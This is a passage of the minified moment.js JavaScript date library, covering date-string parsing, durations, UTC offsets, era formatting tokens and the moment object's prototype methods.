t,n,s,i,r,a,o=e._i,u=lt.exec(o)||ht.exec(o);if(u){for(m(e).iso=!0,t=0,n=ct.length;t<n;t++)if(ct[t][1].exec(u[1])){i=ct[t][0],s=!1!==ct[t][2];break}if(null==i)return void(e._isValid=!1);if(u[3]){for(t=0,n=ft.length;t<n;t++)if(ft[t][1].exec(u[3])){r=(u[2]||" ")+ft[t][0];break}if(null==r)return void(e._isValid=!1)}if(!s&&null!=r)return void(e._isValid=!1);if(u[4]){if(!dt.exec(u[4]))return void(e._isValid=!1);a="Z"}e._f=i+(r||"")+(a||""),Mt(e)}else e._isValid=!1}function wt(e){var t=parseInt(e,10);return t<=49?2e3+t:t<=999?1900+t:t}function pt(e){var t,n,s,i,r,a,o,u,l=_t.exec(e._i.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,""));if(l){if(n=l[4],s=l[3],i=l[2],r=l[5],a=l[6],o=l[7],u=[wt(n),De.indexOf(s),parseInt(i,10),parseInt(r,10),parseInt(a,10)],o&&u.push(parseInt(o,10)),t=u,!function(e,t,n){return!e||Ge.indexOf(e)===new Date(t[0],t[1],t[2]).getDay()||(m(n).weekdayMismatch=!0,n._isValid=!1,!1)}(l[1],t,e))return;e._a=t,e._tzm=function(e,t,n){if(e)return yt[e];if(t)return 0;var s=parseInt(n,10),i=s%100;return(s-i)/100*60+i}(l[8],l[9],l[10]),e._d=Ce.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),m(e).rfc2822=!0}else e._isValid=!1}function vt(e,t,n){return null!=e?e:null!=t?t:n}function kt(e){var t,n,i,r,a,o=[];if(!e._d){for(i=function(e){var t=new Date(s.now());return e._useUTC?[t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate()]:[t.getFullYear(),t.getMonth(),t.getDate()]}(e),e._w&&null==e._a[2]&&null==e._a[1]&&function(e){var t,n,s,i,r,a,o,u,l;null!=(t=e._w).GG||null!=t.W||null!=t.E?(r=1,a=4,n=vt(t.GG,e._a[0],Fe(Yt(),1,4).year),s=vt(t.W,1),((i=vt(t.E,1))<1||i>7)&&(u=!0)):(r=e._locale._week.dow,a=e._locale._week.doy,l=Fe(Yt(),r,a),n=vt(t.gg,e._a[0],l.year),s=vt(t.w,l.week),null!=t.d?((i=t.d)<0||i>6)&&(u=!0):null!=t.e?(i=t.e+r,(t.e<0||t.e>6)&&(u=!0)):i=r),s<1||s>Le(n,r,a)?m(e)._overflowWeeks=!0:null!=u?m(e)._overflowWeekday=!0:(o=He(n,s,i,r,a),e._a[0]=o.year,e._dayOfYear=o.dayOfYear)}(e),null!=e._dayOfYear&&(a=vt(e._a[0],i[0]),(e._dayOfYear>Pe(a)||0===e._dayOfYear)&&(m(e)._overflowDayOfYear=!0),n=Ce(a,0,e._dayOfYear),e._a[1]=n.getUTCMonth(),e._a[2]=n.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=o[t]=i[t];for(;t<7;t++)e._a[t]=o[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[3]&&0===e._a[4]&&0===e._a[5]&&0===e._a[6]&&(e._nextDay=!0,e._a[3]=0),e._d=(e._useUTC?Ce:We).apply(null,o),r=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[3]=24),e._w&&void 0!==e._w.d&&e._w.d!==r&&(m(e).weekdayMismatch=!0)}}function Mt(e){if(e._f!==s.ISO_8601)if(e._f!==s.RFC_2822){e._a=[],m(e).empty=!0;var t,n,i,r,a,o,u=""+e._i,l=u.length,h=0;for(i=F(e._f,e._locale).match(P)||[],t=0;t<i.length;t++)r=i[t],(n=(u.match(me(r,e))||[])[0])&&((a=u.substr(0,u.indexOf(n))).length>0&&m(e).unusedInput.push(a),u=u.slice(u.indexOf(n)+n.length),h+=n.length),C[r]?(n?m(e).empty=!1:m(e).unusedTokens.push(r),ve(r,n,e)):e._strict&&!n&&m(e).unusedTokens.push(r);m(e).charsLeftOver=l-h,u.length>0&&m(e).unusedInput.push(u),e._a[3]<=12&&!0===m(e).bigHour&&e._a[3]>0&&(m(e).bigHour=void 0),m(e).parsedDateParts=e._a.slice(0),m(e).meridiem=e._meridiem,e._a[3]=function(e,t,n){var s;return null==n?t:null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((s=e.isPM(n))&&t<12&&(t+=12),s||12!==t||(t=0),t):t}(e._locale,e._a[3],e._meridiem),null!==(o=m(e).era)&&(e._a[0]=e._locale.erasConvertYear(o,e._a[0])),kt(e),ut(e)}else pt(e);else gt(e)}function Dt(e){var t=e._i,n=e._f;return e._locale=e._locale||ot(e._l),null===t||void 0===n&&""===t?y({nullInput:!0}):("string"==typeof t&&(e._i=t=e._locale.preparse(t)),k(t)?new v(ut(t)):(h(t)?e._d=t:i(n)?function(e){var t,n,s,i,r,a,o=!1;if(0===e._f.length)return m(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)r=0,a=!1,t=p({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],Mt(t),_(t)&&(a=!0),r+=m(t).charsLeftOver,r+=10*m(t).unusedTokens.length,m(t).score=r,o?r<s&&(s=r,n=t):(null==s||r<s||a)&&(s=r,n=t,a&&(o=!0));c(e,n||t)}(e):n?Mt(e):function(e){var t=e._i;u(t)?e._d=new Date(s.now()):h(t)?e._d=new Date(t.valueOf()):"string"==typeof t?function(e){var t=mt.exec(e._i);null===t?(gt(e),!1===e._isValid&&(delete e._isValid,pt(e),!1===e._isValid&&(delete e._isValid,e._strict?e._isValid=!1:s.createFromInputFallback(e)))):e._d=new Date(+t[1])}(e):i(t)?(e._a=d(t.slice(0),(function(e){return parseInt(e,10)})),kt(e)):r(t)?function(e){if(!e._d){var t=G(e._i),n=void 0===t.day?t.date:t.day;e._a=d([t.year,t.month,n,t.hour,t.minute,t.second,t.millisecond],(function(e){return e&&parseInt(e,10)})),kt(e)}}(e):l(t)?e._d=new Date(t):s.createFromInputFallback(e)}(e),_(e)||(e._d=null),e))}function St(e,t,n,s,a){var u,l={};return!0!==t&&!1!==t||(s=t,t=void 0),!0!==n&&!1!==n||(s=n,n=void 0),(r(e)&&o(e)||i(e)&&0===e.length)&&(e=void 0),l._isAMomentObject=!0,l._useUTC=l._isUTC=a,l._l=n,l._i=e,l._f=t,l._strict=s,(u=new v(ut(Dt(l))))._nextDay&&(u.add(1,"d"),u._nextDay=void 0),u}function Yt(e,t,n,s){return St(e,t,n,s,!1)}s.createFromInputFallback=D("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",(function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))})),s.ISO_8601=function(){},s.RFC_2822=function(){};var Ot=D("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Yt.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:y()})),bt=D("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Yt.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:y()}));function Tt(e,t){var n,s;if(1===t.length&&i(t[0])&&(t=t[0]),!t.length)return Yt();for(n=t[0],s=1;s<t.length;++s)t[s].isValid()&&!t[s][e](n)||(n=t[s]);return n}var xt=["year","quarter","month","week","day","hour","minute","second","millisecond"];function Nt(e){var t=G(e),n=t.year||0,s=t.quarter||0,i=t.month||0,r=t.week||t.isoWeek||0,o=t.day||0,u=t.hour||0,l=t.minute||0,h=t.second||0,d=t.millisecond||0;this._isValid=function(e){var t,n,s=!1;for(t in e)if(a(e,t)&&(-1===ye.call(xt,t)||null!=e[t]&&isNaN(e[t])))return!1;for(n=0;n<xt.length;++n)if(e[xt[n]]){if(s)return!1;parseFloat(e[xt[n]])!==z(e[xt[n]])&&(s=!0)}return!0}(t),this._milliseconds=+d+1e3*h+6e4*l+1e3*u*60*60,this._days=+o+7*r,this._months=+i+3*s+12*n,this._data={},this._locale=ot(),this._bubble()}function Pt(e){return e instanceof Nt}function Rt(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function Wt(e,t){U(e,0,0,(function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+N(~~(e/60),2)+t+N(~~e%60,2)}))}Wt("Z",":"),Wt("ZZ",""),fe("Z",de),fe("ZZ",de),we(["Z","ZZ"],(function(e,t,n){n._useUTC=!0,n._tzm=Ut(de,e)}));var Ct=/([\+\-]|\d\d)/gi;function Ut(e,t){var n,s,i=(t||"").match(e);return null===i?null:0===(s=60*(n=((i[i.length-1]||[])+"").match(Ct)||["-",0,0])[1]+z(n[2]))?0:"+"===n[0]?s:-s}function Ht(e,t){var n,i;return t._isUTC?(n=t.clone(),i=(k(e)||h(e)?e.valueOf():Yt(e).valueOf())-n.valueOf(),n._d.setTime(n._d.valueOf()+i),s.updateOffset(n,!1),n):Yt(e).local()}function Ft(e){return-Math.round(e._d.getTimezoneOffset())}function Lt(){return!!this.isValid()&&this._isUTC&&0===this._offset}s.updateOffset=function(){};var Vt=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,Et=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function Gt(e,t){var n,s,i,r,o,u,h=e,d=null;return Pt(e)?h={ms:e._milliseconds,d:e._days,M:e._months}:l(e)||!isNaN(+e)?(h={},t?h[t]=+e:h.milliseconds=+e):(d=Vt.exec(e))?(n="-"===d[1]?-1:1,h={y:0,d:z(d[2])*n,h:z(d[3])*n,m:z(d[4])*n,s:z(d[5])*n,ms:z(Rt(1e3*d[6]))*n}):(d=Et.exec(e))?(n="-"===d[1]?-1:1,h={y:At(d[2],n),M:At(d[3],n),w:At(d[4],n),d:At(d[5],n),h:At(d[6],n),m:At(d[7],n),s:At(d[8],n)}):null==h?h={}:"object"==typeof h&&("from"in h||"to"in h)&&(r=Yt(h.from),o=Yt(h.to),i=r.isValid()&&o.isValid()?(o=Ht(o,r),r.isBefore(o)?u=jt(r,o):((u=jt(o,r)).milliseconds=-u.milliseconds,u.months=-u.months),u):{milliseconds:0,months:0},(h={}).ms=i.milliseconds,h.M=i.months),s=new Nt(h),Pt(e)&&a(e,"_locale")&&(s._locale=e._locale),Pt(e)&&a(e,"_isValid")&&(s._isValid=e._isValid),s}function At(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function jt(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function It(e,t){return function(n,s){var i;return null===s||isNaN(+s)||(O(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),i=n,n=s,s=i),Zt(this,Gt(n,s),e),this}}function Zt(e,t,n,i){var r=t._milliseconds,a=Rt(t._days),o=Rt(t._months);e.isValid()&&(i=null==i||i,o&&Te(e,J(e,"Month")+o*n),a&&q(e,"Date",J(e,"Date")+a*n),r&&e._d.setTime(e._d.valueOf()+r*n),i&&s.updateOffset(e,a||o))}Gt.fn=Nt.prototype,Gt.invalid=function(){return Gt(NaN)};var zt=It(1,"add"),$t=It(-1,"subtract");function Jt(e){return"string"==typeof e||e instanceof String}function qt(e){return k(e)||h(e)||Jt(e)||l(e)||function(e){var t=i(e),n=!1;return t&&(n=0===e.filter((function(t){return!l(t)&&Jt(e)})).length),t&&n}(e)||function(e){var t,n,s=r(e)&&!o(e),i=!1,u=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"];for(t=0;t<u.length;t+=1)n=u[t],i=i||a(e,n);return s&&i}(e)||null==e}function Bt(e){var t,n=r(e)&&!o(e),s=!1,i=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<i.length;t+=1)s=s||a(e,i[t]);return n&&s}function Qt(e,t){if(e.date()<t.date())return-Qt(t,e);var n=12*(t.year()-e.year())+(t.month()-e.month()),s=e.clone().add(n,"months");return-(n+(t-s<0?(t-s)/(s-e.clone().add(n-1,"months")):(t-s)/(e.clone().add(n+1,"months")-s)))||0}function Xt(e){var t;return void 0===e?this._locale._abbr:(null!=(t=ot(e))&&(this._locale=t),this)}s.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",s.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var Kt=D("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function en(){return this._locale}function tn(e,t){return(e%t+t)%t}function nn(e,t,n){return e<100&&e>=0?new Date(e+400,t,n)-126227808e5:new Date(e,t,n).valueOf()}function sn(e,t,n){return e<100&&e>=0?Date.UTC(e+400,t,n)-126227808e5:Date.UTC(e,t,n)}function rn(e,t){return t.erasAbbrRegex(e)}function an(){var e,t,n=[],s=[],i=[],r=[],a=this.eras();for(e=0,t=a.length;e<t;++e)s.push(_e(a[e].name)),n.push(_e(a[e].abbr)),i.push(_e(a[e].narrow)),r.push(_e(a[e].name)),r.push(_e(a[e].abbr)),r.push(_e(a[e].narrow));this._erasRegex=new RegExp("^("+r.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+s.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+n.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+i.join("|")+")","i")}function on(e,t){U(0,[e,e.length],0,t)}function un(e,t,n,s,i){var r;return null==e?Fe(this,s,i).year:(t>(r=Le(e,s,i))&&(t=r),ln.call(this,e,t,n,s,i))}function ln(e,t,n,s,i){var r=He(e,t,n,s,i),a=Ce(r.year,0,r.dayOfYear);return this.year(a.getUTCFullYear()),this.month(a.getUTCMonth()),this.date(a.getUTCDate()),this}U("N",0,0,"eraAbbr"),U("NN",0,0,"eraAbbr"),U("NNN",0,0,"eraAbbr"),U("NNNN",0,0,"eraName"),U("NNNNN",0,0,"eraNarrow"),U("y",["y",1],"yo","eraYear"),U("y",["yy",2],0,"eraYear"),U("y",["yyy",3],0,"eraYear"),U("y",["yyyy",4],0,"eraYear"),fe("N",rn),fe("NN",rn),fe("NNN",rn),fe("NNNN",(function(e,t){return t.erasNameRegex(e)})),fe("NNNNN",(function(e,t){return t.erasNarrowRegex(e)})),we(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,n,s){var i=n._locale.erasParse(e,s,n._strict);i?m(n).era=i:m(n).invalidEra=e})),fe("y",ue),fe("yy",ue),fe("yyy",ue),fe("yyyy",ue),fe("yo",(function(e,t){return t._eraYearOrdinalRegex||ue})),we(["y","yy","yyy","yyyy"],0),we(["yo"],(function(e,t,n,s){var i;n._locale._eraYearOrdinalRegex&&(i=e.match(n._locale._eraYearOrdinalRegex)),n._locale.eraYearOrdinalParse?t[0]=n._locale.eraYearOrdinalParse(e,i):t[0]=parseInt(e,10)})),U(0,["gg",2],0,(function(){return this.weekYear()%100})),U(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),on("gggg","weekYear"),on("ggggg","weekYear"),on("GGGG","isoWeekYear"),on("GGGGG","isoWeekYear"),V("weekYear","gg"),V("isoWeekYear","GG"),j("weekYear",1),j("isoWeekYear",1),fe("G",le),fe("g",le),fe("GG",ne,X),fe("gg",ne,X),fe("GGGG",ae,ee),fe("gggg",ae,ee),fe("GGGGG",oe,te),fe("ggggg",oe,te),pe(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,n,s){t[s.substr(0,2)]=z(e)})),pe(["gg","GG"],(function(e,t,n,i){t[i]=s.parseTwoDigitYear(e)})),U("Q",0,"Qo","quarter"),V("quarter","Q"),j("quarter",7),fe("Q",Q),we("Q",(function(e,t){t[1]=3*(z(e)-1)})),U("D",["DD",2],"Do","date"),V("date","D"),j("date",9),fe("D",ne),fe("DD",ne,X),fe("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),we(["D","DD"],2),we("Do",(function(e,t){t[2]=z(e.match(ne)[0])}));var hn=$("Date",!0);U("DDD",["DDDD",3],"DDDo","dayOfYear"),V("dayOfYear","DDD"),j("dayOfYear",4),fe("DDD",re),fe("DDDD",K),we(["DDD","DDDD"],(function(e,t,n){n._dayOfYear=z(e)})),U("m",["mm",2],0,"minute"),V("minute","m"),j("minute",14),fe("m",ne),fe("mm",ne,X),we(["m","mm"],4);var dn=$("Minutes",!1);U("s",["ss",2],0,"second"),V("second","s"),j("second",15),fe("s",ne),fe("ss",ne,X),we(["s","ss"],5);var cn,fn,mn=$("Seconds",!1);for(U("S",0,0,(function(){return~~(this.millisecond()/100)})),U(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),U(0,["SSS",3],0,"millisecond"),U(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),U(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),U(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),U(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),U(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),U(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),V("millisecond","ms"),j("millisecond",16),fe("S",re,Q),fe("SS",re,X),fe("SSS",re,K),cn="SSSS";cn.length<=9;cn+="S")fe(cn,ue);function _n(e,t){t[6]=z(1e3*("0."+e))}for(cn="S";cn.length<=9;cn+="S")we(cn,_n);fn=$("Milliseconds",!1),U("z",0,0,"zoneAbbr"),U("zz",0,0,"zoneName");var yn=v.prototype;function gn(e){return e}yn.add=zt,yn.calendar=function(e,t){1===arguments.length&&(arguments[0]?qt(arguments[0])?(e=arguments[0],t=void 0):Bt(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var n=e||Yt(),i=Ht(n,this).startOf("day"),r=s.calendarFormat(this,i)||"sameElse",a=t&&(b(t[r])?t[r].call(this,n):t[r]);return this.format(a||this.localeData().calendar(r,this,Yt(n)))},yn.clone=function(){return new v(this)},yn.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Ht(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=E(t)){case"year":r=Qt(this,s)/12;break;case"month":r=Qt(this,s);break;case"quarter":r=Qt(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:Z(r)},yn.endOf=function(e){var t,n;if(void 0===(e=E(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?sn:nn,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=36e5-tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5)-1;break;case"minute":t=this._d.valueOf(),t+=6e4-tn(t,6e4)-1;break;case"second":t=this._d.valueOf(),t+=1e3-tn(t,1e3)-1}return this._d.setTime(t),s.updateOffset(this,!0),this},yn.format=function(e){e||(e=this.isUtc()?s.defaultFormatUtc:s.defaultFormat);var t=H(this,e);return this.localeData().postformat(t)},yn.from=function(e,t){return this.isValid()&&(k(e)&&e.isValid()||Yt(e).isValid())?Gt({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},yn.fromNow=function(e){return this.from(Yt(),e)},yn.to=function(e,t){return this.isValid()&&(k(e)&&e.isValid()||Yt(e).isValid())?Gt({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},yn.toNow=function(e){return this.to(Yt(),e)},yn.get=function(e){return b(this[e=E(e)])?this[e]():this},yn.invalidAt=function(){return m(this).overflow},yn.isAfter=function(e,t){var n=k(e)?e:Yt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=E(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},yn.isBefore=function(e,t){var n=k(e)?e:Yt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=E(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},yn.isBetween=function(e,t,n,s){var i=k(e)?e:Yt(e),r=k(t)?t:Yt(t);return!!(this.isValid()&&i.isValid()&&r.isValid())&&(("("===(s=s||"()")[0]?this.isAfter(i,n):!this.isBefore(i,n))&&(")"===s[1]?this.isBefore(r,n):!this.isAfter(r,n)))},yn.isSame=function(e,t){var n,s=k(e)?e:Yt(e);return!(!this.isValid()||!s.isValid())&&("millisecond"===(t=E(t)||"millisecond")?this.valueOf()===s.valueOf():(n=s.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},yn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},yn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},yn.isValid=function(){return _(this)},yn.lang=Kt,yn.locale=Xt,yn.localeData=en,yn.max=bt,yn.min=Ot,yn.parsingFlags=function(){return c({},m(this))},yn.set=function(e,t){if("object"==typeof e){var n,s=function(e){var t,n=[];for(t in e)a(e,t)&&n.push({unit:t,priority:A[t]});return n.sort((function(e,t){return e.priority-t.priority})),n}(e=G(e));for(n=0;n<s.length;n++)this[s[n].unit](e[s[n].unit])}else if(b(this[e=E(e)]))return this[e](t);return this},yn.startOf=function(e){var t,n;if(void 0===(e=E(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?sn:nn,e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5);break;case"minute":t=this._d.valueOf(),t-=tn(t,6e4);break;case"second":t=this._d.valueOf(),t-=tn(t,1e3)}return this._d.setTime(t),s.updateOffset(this,!0),this},yn.subtract=$t,yn.toArray=function(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]},yn.toObject=function(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}},yn.toDate=function(){return new Date(this.valueOf())},yn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?H(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):b(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",H(n,"Z")):H(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},yn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,n,s="moment",i="";return this.isLocal()||(s=0===this.utcOffset()?"moment.utc":"moment.parseZone",i="Z"),e="["+s+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",n=i+'[")]',this.format(e+t+"-MM-DD[T]HH:mm:ss.SSS"+n)},"undefined"!=typeof Symbol&&null!=Symbol.for&&(yn[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),yn.toJSON=function(){return this.isValid()?this.toISOString():null},yn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},yn.unix=function(){return Math.floor(this.valueOf()/1e3)},yn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},yn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},yn.eraName=function(){var e,t,n,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),s[e].since<=n&&n<=s[e].until)return s[e].name;if(s[e].until<=n&&n<=s[e].since)return s[e].name}return""},yn.eraNarrow=function(){var e,t,n,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),s[e].since<=n&&n<=s[e].until)return s[e].narrow;if(s[e].until<=n&&n<=s[e].since)return s[e].narrow}return""},yn.eraAbbr=function(){var e,t,n,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),s[e].since<=n&&n<=s[e].until)return s[e].abbr;if(s[e].until<=n&&n<=s[e].since)return s[e].abbr}return""},yn.eraYear=function(){var e,t,n,i,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e)if(n=r[e].since<=r[e].until?1:-1,i=this.clone().startOf("day").valueOf(),r[e].since<=i&&i<=r[e].until||r[e].until<=i&&i<=r[e].since)return(this.year()-s(r[e].since).year())*n+r[e].offset;return this.year()},yn.year=Re,yn.isLeapYear=function(){return I(this.year())},yn.weekYear=function(e){return un.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},yn.isoWeekYear=function(e){return un.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},yn.quarter=yn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},yn.month=xe,yn.daysInMonth=function(){return ke(this.year(),this.month())},yn.week=yn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},yn.isoWeek=yn.isoWeeks=function(e){var t=Fe(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},yn.weeksInYear=function(){var e=this.localeData()._week;return Le(this.year(),e.dow,e.doy)},yn.weeksInWeekYear=function(){var e=this.localeData()._week;return Le(this.weekYear(),e.dow,e.doy)},yn.isoWeeksInYear=function(){return Le(this.year(),1,4)},yn.isoWeeksInISOWeekYear=function(){return Le(this.isoWeekYear(),1,4)},yn.date=hn,yn.day=yn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},yn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},yn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},yn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},yn.hour=yn.hours=Xe,yn.minute=yn.minutes=dn,yn.second=yn.seconds=mn,yn.millisecond=yn.milliseconds=fn,yn.utcOffset=function(e,t,n){var i,r=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"==typeof e){if(null===(e=Ut(de,e)))return this}else Math.abs(e)<16&&!n&&(e*=60);return!this._isUTC&&t&&(i=Ft(this)),this._offset=e,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==e&&(!t||this._changeInProgress?Zt(this,Gt(e-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,s.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Ft(this)},yn.utc=function(e){return this.utcOffset(0,e)},yn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Ft(this),"m")),this},yn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=Ut(he,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},yn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?Yt(e).utcOffset():0,(this.utcOffset()-e)%60==0)},yn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},yn.isLocal=function(){return!!this.isValid()&&!this._isUTC},yn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},yn.isUtc=Lt,yn.isUTC=Lt,yn.zoneAbbr=function(){return this._isUTC?"UTC":""},yn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},yn.dates=D("dates accessor is deprecated. Use date instead.",hn),yn.months=D("months accessor is deprecated. Use month instead",xe),yn.years=D("years accessor is deprecated. Use year 